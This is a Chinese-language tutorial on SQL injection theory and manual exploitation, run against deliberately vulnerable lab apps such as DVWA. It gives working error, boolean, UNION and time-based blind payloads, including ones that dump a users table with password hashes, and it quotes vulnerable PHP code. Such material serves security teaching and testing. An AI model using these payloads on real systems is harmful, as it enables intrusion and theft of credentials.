SQL注入漏洞原理及其手动攻击思路

1,163 阅读8分钟

声明: 所有文档均用于安全测试加强防护,若作它用后果自负.

SQL注入原理: SQL注入攻击是通过操作输入来修改SQL语句, 当数据库执行SQL语句时产生开发者意料之外的结果,从而实现一系列其它的目的. 通常是先获取information_schema中所有的数据库,所有数据库中的所有表,然后对它们进行精确操作,或者直接脱裤拿下来自己再慢慢搞.

information_schema 数据库字典

  • 在mysql中information_schema是一个非常重要的库,它保存着关于mysql服务器所维护的所有其他数据库的元数据.如数据库名,数据库的表,表拦的数据类型与访问权限等. 在Information_schema中,有数个只读表. 它们实际上是视图,而不是基本表.

  • 我们可以通过这个数据库元数据库,去获取库中的所有表,表中的列等信息.

    例如通过查询所有表,然后对其中的table_schema去重,就可以得到所有的数据库名:

  mysql> SELECT DISTINCT table_schema FROM  information_schema.tables ;
  +--------------------+
  | table_schema       |
  +--------------------+
  | information_schema |
  | bricks             |
  | bwapp              |
  | citizens           |
  | cryptomg           |
  | sqlol              |
  | tikiwiki           |
  | vicnum             |
  | wackopicko         |
  | wavsepdb           |
  | webcal             |
  | webgoat_coins      |
  | wordpress          |
  | wraithlogin        |
  | yazd               |
  +--------------------+
  33 rows in set (0.00 sec)

又例如通过分组查询马上就可以查询出每个库下面所有的表.

  mysql> SELECT TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables GROUP BY TABLE_SCHEMA \G
  *************************** 1. row ***************************
              TABLE_SCHEMA: bricks
  GROUP_CONCAT(TABLE_NAME): users
  *************************** 2. row ***************************
              TABLE_SCHEMA: bwapp
  GROUP_CONCAT(TABLE_NAME): users,movies,heroes,blog
  *************************** 3. row ***************************
              TABLE_SCHEMA: citizens
  GROUP_CONCAT(TABLE_NAME): logins
  *************************** 4. row ***************************
              TABLE_SCHEMA: cryptomg
  GROUP_CONCAT(TABLE_NAME): challenge4_users,challenge2_users,challenge2_articles
  *************************** 5. row ***************************
              TABLE_SCHEMA: dvwa
  GROUP_CONCAT(TABLE_NAME): users,guestbook
  *************************** 6. row ***************************
              TABLE_SCHEMA: gallery2
  GROUP_CONCAT(TABLE_NAME): g2_g1migratemap,g2_linkitem,g2_permalinksmap,g2_ratingcachemap,g2_sessionmap,g2_unknownitem,g2_animationitem,g2_derivativeimage,g2_filesystementity,g2_itemattributesmap,g2_pendinguser,g2_quotasmap,g2_sequencelock,g2_tkpropertymimetypemap,g2_albumitem,g2_derivative,g2_factorymap,g2_item,g2_multilangitemmap,g2_pluginparametermap,g2_sequenceid,g2_tkpropertymap,g2_accesssubscribermap,g2_dataitem,g2_externalidmap,g2_imageblockdisabledmap,g2_movieitem,g2_pluginpackagemap,g2_schema,g2_tkoperatnparametermap,g2_accessmap,g2_customfieldmap,g2_exifpropertiesmap,g2_imageblockcachemap,g2_mimetypemap,g2_pluginmap,g2_rssmap,g2_tkoperatnmimetypemap,g2_watermarkimage,g2_comment,g2_entity,g2_group,g2_maintenancemap,g2_photoitem,g2_recoverpasswordmap,g2_tkoperatnmap,g2_usergroupmap,g2_childentity,g2_descendentcountsmap,g2_getid3propsmap,g2_lock,g2_permissionsetmap,g2_ratingmap,g2_thumbnailimage,g2_user,g2_cachemap,g2_derivativeprefsmap

行表内也包含了很多的信息:

        mysql> select * from columns limit 1 \G
        *************************** 1. row ***************************
                TABLE_CATALOG: NULL
                 TABLE_SCHEMA: information_schema
                   TABLE_NAME: CHARACTER_SETS
                  COLUMN_NAME: CHARACTER_SET_NAME
             ORDINAL_POSITION: 1
               COLUMN_DEFAULT: 
                  IS_NULLABLE: NO
                    DATA_TYPE: varchar
     CHARACTER_MAXIMUM_LENGTH: 32
       CHARACTER_OCTET_LENGTH: 96
            NUMERIC_PRECISION: NULL
                NUMERIC_SCALE: NULL
           CHARACTER_SET_NAME: utf8
               COLLATION_NAME: utf8_general_ci
                  COLUMN_TYPE: varchar(32)
                   COLUMN_KEY: 
                        EXTRA: 
                   PRIVILEGES: select
               COLUMN_COMMENT: 

手动SQL注入:

基于错误的注入:

错误注入的思路是通过构造特殊的SQL语句,根据得到的错误信息,确定SQL注入点. e.g

mysql> SELECT user_login, user_email FROM wp_users WHERE user_login=''';
/* 在网页端就会报错 :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
*/
基于布尔的注入:

布尔的注入的思想是闭合SQL语句,构造or和and逻辑语句,注释多余代码. e.g

mysql> SELECT user_login, user_email FROM wp_users WHERE user_login='admin';
+------------+-------------------+
| user_login | user_email        |
+------------+-------------------+
| admin      | admin@example.org |
+------------+-------------------+
1 row in set (0.00 sec)
  • 在上面的案例中是正确的执行结果,通过输入的用户来获取对应的用户邮箱,但是我们通过构造输入特殊不符合原来期望的内容,来达到我们SQL注入的目的.
    ```sql
    mysql> SELECT user_login, user_email FROM wp_users WHERE user_login='' or 1=1 -- ;
        -> ;
    +------------+-------------------+
    | user_login | user_email        |
    +------------+-------------------+
    | admin      | admin@example.org |
    | user       | user@example.org  |
    +------------+-------------------+
    2 rows in set (0.00 sec)
  • 在上面的案例中,我们通过输入 ' or 1=1 -- 得到了所有用户的用户名和邮箱地址,这样我们就得到了所有的用户名和邮箱地址.
解析: 其中 '  用于结束闭合前面的条件 , or 用于拼接我们我们构造的布尔条件, -- 用于注释后面的一切语句.
基于UNION的注入:

UNION 语句主要用于联合前面的SELECT查询语句,合并查询更多信息. 一般通过错误和布尔注入确认注入点之后,便开始通过UNION语句来获取有效的信息(库信息,表信息,表字段等).

通常情况下使用错误注入后,确认SQL注入点后,再使用UNION联合查询去猜前面查询的字段数, UNION的使用原则是必须要与前方的查询字段数量一致.所以在确定SQL注入点后,需要再去猜前方的字段数.
mysql> SELECT user_login, user_email FROM wp_users WHERE user_login='' UNION SELECT 1 -- ;
    -> ;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
/* 如果说与前方的查询字段数量不一致的的情况下会报错 网页端报错"The used SELECT statements have a different number of columns"*/

mysql> SELECT user_login, user_email FROM wp_users WHERE user_login='' UNION SELECT 1,2 -- ;
    -> ;
+------------+------------+
| user_login | user_email |
+------------+------------+
| 1          | 2          |
+------------+------------+
1 row in set (0.00 sec)
/*若是猜对了,即可进行下一步的查询,查询当前库信息以及用户信息.*/
mysql> SELECT user_login, user_email FROM wp_users WHERE user_login='' UNION SELECT VERSION(),USER() -- ;
    -> ;
+------------------------+----------------+
| user_login             | user_email     |
+------------------------+----------------+
| 5.1.41-3ubuntu12.6-log | root@localhost |
+------------------------+----------------+
1 row in set (0.00 sec)

mysql> SELECT user_login, user_email FROM wp_users WHERE user_login='' UNION SELECT DATABASE(),USER() -- ;
    -> ;
+------------+----------------+
| user_login | user_email     |
+------------+----------------+
| wordpress  | root@localhost |
+------------+----------------+
1 row in set (0.00 sec)
  • 当然网页上并不是我直接执行sql语句的结果,所以这里我们以网页上为主.

  • 可以根据查询到的结果,当前库在dvwa, 当前登录的用户为dvwa@localhost去进行注入.
/*
	接下来通过网页上已有的注入点查询information_schema去查询当前用户所有拥有权限的数据库.
*/
> ' UNION SELECT table_schema,1 from information_schema.tables -- 
> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT table_schema,1 from information_schema.tables -- 
//查询结果
ID: ' UNION SELECT table_schema,1 from information_schema.tables -- 
First name: information_schema
Surname: 1

ID: ' UNION SELECT table_schema,1 from information_schema.tables -- 
First name: dvwa
Surname: 1

/*
	通过查询了解到当前用户dvwa拥有数据库dvwa的权限,然后我们再通过information_schema去查询当前dvwa库中所有的表名.
*/
> ' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema='dvwa' --
> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema='dvwa' --
// 查询结果
ID: ' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema='dvwa' -- 
First name: guestbook
Surname: 1

ID: ' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema='dvwa' -- 
First name: users
Surname: 1
/*
或者查询表名对应库名,当然首先要满足前方的查询列数量必须要大于等于2,而且当前使用用户有其它数据的权限,.
条件一: 满足前方的查询列数量大于等于2是因为必须要满足这个条件才能去UNION查询两行,语法硬要求.
条件二:当前使用的用户有其他数据库的权限,这样去查询所有库和表信息才变得有意义.
*/
>' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' --
> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' --
// 查询结果
ID: ' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' -- 
First name: dvwa
Surname: guestbook

ID: ' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' -- 
First name: dvwa
Surname: users

/*
	之后再去查询每个表的行信息,
*/
> ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' -- 
> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' -- 
// 查询结果
ID: ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' --  
First name: users
Surname: user_id

ID: ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' --  
First name: users
Surname: first_name

ID: ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' --  
First name: users
Surname: last_name

ID: ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' --  
First name: users
Surname: user

ID: ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' --  
First name: users
Surname: password

ID: ' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='dvwa' --  
First name: users
Surname: avatar
*****************************省略部分结果*********************

/*
	再通过表的行信息去查询表内容, 根据上面的内容查询到数据库dvwa中的users表中一共有6个字段.我们需要将每个字段都查询出来,通过concat函数,以user_id为一列,而其他的所有内容为一列.将其查询出来.
*/
> ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
// 查询结果
ID: ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
First name: 1
Surname: admin,admin,admin,21232f297a57a5a743894a0e4a801fc3,http://127.0.0.1/dvwa/hackable/users/admin.jpg

ID: ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
First name: 2
Surname: Gordon,Brown,gordonb,e99a18c428cb38d5f260853678922e03,http://127.0.0.1/dvwa/hackable/users/gordonb.jpg

ID: ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
First name: 3
Surname: Hack,Me,1337,8d3533d75ae2c3966d7e0d4fcc69216b,http://127.0.0.1/dvwa/hackable/users/1337.jpg

ID: ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
First name: 4
Surname: Pablo,Picasso,pablo,0d107d09f5bbe40cade3de5c71e9e9b7,http://127.0.0.1/dvwa/hackable/users/pablo.jpg

ID: ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
First name: 5
Surname: Bob,Smith,smithy,5f4dcc3b5aa765d61d8327deb882cf99,http://127.0.0.1/dvwa/hackable/users/smithy.jpg

ID: ' UNION SELECT  user_id, concat(first_name, ',', last_name, ',', user, ',', password, ',', avatar) FROM users -- 
First name: 6
Surname: user,user,user,ee11cbb19052e40b07aac0ca060c23ee,http://127.0.0.1/dvwa/hackable/users/1337.jpg

/*
	到此处就成功将dvwa.users表脱裤成功了.
*/
基于时间的盲注入:

有些程序校验了返回结果条数如果大于0条数据才能够有输入.

<?php    
if (isset($_GET['Submit'])) {
    // Retrieve data
    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
    $i = 0;
    while ($i < $num) {
        # 数据库返回的结果行数必须大于0才显示.
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");   
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';
        $i++;
    }
}
?>

这种时候普通的基于错误的SQL注入来确定注入点就会失败,这个时候我们就可以通过时间盲注,让数据库暂停多少秒后返回数据,通过判断网页等待时间和数据库返回时间是否一致来确定是否存在注入点.所以说基于时间的盲注也通常用于确定SQL注入点.

盲注需要注意以下两点:

  • 盲注需要在源SQL语句后添加and来链接构造我们自己的SQL语句,但是在SQL中and必须要满足上一个条件必须成立的情况下才行,所以可以添加正确的检索条件或者使用or来构造一个正确的条件e.g
' or 1 = 1 and sleep(10) -- 
基于布尔的盲注入:
' or 1 = 1 #
  • 因为是在程序中有判断,数据库返回结果行数是否大于0,所以在使用盲注的前提下自身应该知晓盲注只能确定SQL注入点,而不会得到页面上的反馈.